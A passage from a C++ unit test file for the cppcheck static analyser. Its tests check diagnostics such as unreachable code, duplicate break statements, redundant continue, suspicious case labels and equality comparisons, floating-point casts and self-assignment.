{\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int 